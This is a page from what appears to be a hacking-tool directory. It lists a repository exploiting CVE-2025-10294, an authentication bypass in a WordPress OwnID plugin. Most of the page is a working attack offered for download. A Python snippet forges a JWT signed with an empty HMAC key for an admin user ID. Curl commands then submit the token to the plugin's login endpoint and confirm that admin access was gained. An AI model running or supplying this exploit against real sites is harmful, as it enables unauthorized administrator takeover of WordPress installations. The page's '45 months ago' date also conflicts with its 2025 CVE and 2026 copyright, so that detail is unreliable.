Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-10294 — Exploit for CVE-2025-10294: authentication bypass via empty HMAC key in ownid_shared_secret, enabling JWT forgery and unauthorized WordPress admin access. | Kitploit
Tools/GitHubGitHub/jfriedli/cve-2025-10294
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubjfriedli/cve-2025-10294

CVE-2025-10294

Exploit for CVE-2025-10294: authentication bypass via empty HMAC key in ownid_shared_secret, enabling JWT forgery and unauthorized WordPress admin access.

View Repository
45 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Exploit: Authentication Bypass via Empty ownid_shared_secret (JWT Forgery)

1) Forge a valid JWT using an empty HMAC key

root@kitploit:~
SUB=<ADMIN_USER_ID>

SUB="$SUB" python3 - <<'PY' > /tmp/jwt.txt
import base64, hmac, hashlib, json, time, os

b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()

header = b64u(json.dumps({"typ":"JWT","alg":"HS256"}, separators=(",",":")).encode())
payload = b64u(json.dumps({
    "sub": int(os.environ["SUB"] or "1"),
    "exp": int(time.time()) + 600
}, separators=(",",":")).encode())

signature = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()  # EMPTY KEY

print(f"{header}.{payload}.{b64u(signature)}")
PY

JWT=$(cat /tmp/jwt.txt)

2) Send forged JWT to login endpoint

root@kitploit:~
curl -i -sS \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST "http://localhost/wordpress/wp-json/ownid/v1/login-with-jwt" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "jwt=$JWT" \
  -L

3) Verify authentication bypass

root@kitploit:~
curl -sS \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  "http://localhost/wordpress/wp-admin/" | \
  grep -E -m1 'id="wpadminbar"|wp-admin-bar-my-account' && \
  echo "[+] Auth bypass worked"
Download Tool